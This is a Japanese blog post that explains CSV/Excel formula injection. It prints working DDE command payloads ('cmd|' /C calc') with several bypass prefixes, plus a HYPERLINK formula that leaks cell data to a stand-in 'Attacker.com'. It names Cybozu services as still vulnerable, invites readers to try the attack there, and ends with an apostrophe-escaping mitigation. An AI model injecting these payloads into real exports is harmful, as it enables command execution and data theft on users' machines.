CEMIについて

さて、今日はCSV Excel Macro Injectionという脆弱性のお話です。

参考
http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/

今回はMicrosoft Excelにしぼって説明します。

CEMIはウェブサイトで良く見かける、CSVへの書き出し機能を狙った脆弱性です。皆様ご存知の通り、Excelには関数があり、CSVに書き出す際ユーザ入力が正しくエスケープされていない場合、関数をインジェクトすることにより任意のコード実行などができます。

コード実行にはDynamic Data Exchangeを使います。具体的なコードは以下です。

=cmd|' /C calc'!A0

上記コードの入ったCSVを開く事により電卓が起動します。しかし電卓が起動される前に警告が出ます。参考記事では警告に「ソースを信頼しない限り」クリックしてはいけないとの記述がある為、ユーザがウェブサイトを信頼している場合警告を無視する可能性があると述べられています。また、CEMIはユーザが自らCSVへ書き出し実行しても発火する受動的攻撃である為、警告が無視される可能性を高めると思われます。

更に任意のコード実行まではいかないものの、警告が出ない手法もあります。

=HYPERLINK("http://Attacker.com/?leak="&A1&A2, "Error: please click for further information")

上記の関数をインジェクトすることで、セルがクリックされた際任意のサイトにアクセスさせることができます。更にセルを指定することで、任意のセル情報を取得することができます。上記の例では、セルがクリックされるとAttacker.comにセルA1とセルA2の情報が漏洩されます。

ここまで見る限り、「=」さえエスケープしていれば攻撃は防げそうな気がしますが、危ない記号がまだあります。

https://hackerone.com/reports/72785

+cmd|' /C calc'!A0

-cmd|' /C calc'!A0 

「+」と「-」が先頭にあってもコード実行が可能です。これだけでしょうか？

https://hackerone.com/reports/111192

[%0A]-cmd|' /C calc'!A0

改行コードを先頭に入れることによりコード実行が可能です。ちなみに、スペースを入れられないような場合でも以下でコード実行が可能です。

=cmd|'/C;calc'!A0

CEMIの脆弱性はCybozu.comおよびCybozulive.comに存在していて、報告したところ、特に「-」から始まる入力が頻出する為、 製品の仕様上「-」で始められなくなることが許容出来ないとの回答で脆弱性と認められませんでした。Cybozuユーザの皆様はCSVへ書き出す機能を使う場合はお気をつけ下さい。

実際に脆弱性を試してみたい方は、Cybozuliveにいき、グループの掲示板にあるアンケート機能を使って回答候補に関数を入れて、アンケート結果をCSVに書き出してみて下さい。


対策
HackerOneでは先頭に危険な記号が入る場合、「'」を入れる事でエスケープして関数の実行を防ぐ対策を取っていました。


最近翻訳ブログになってきましたね～ｗ

ではでは。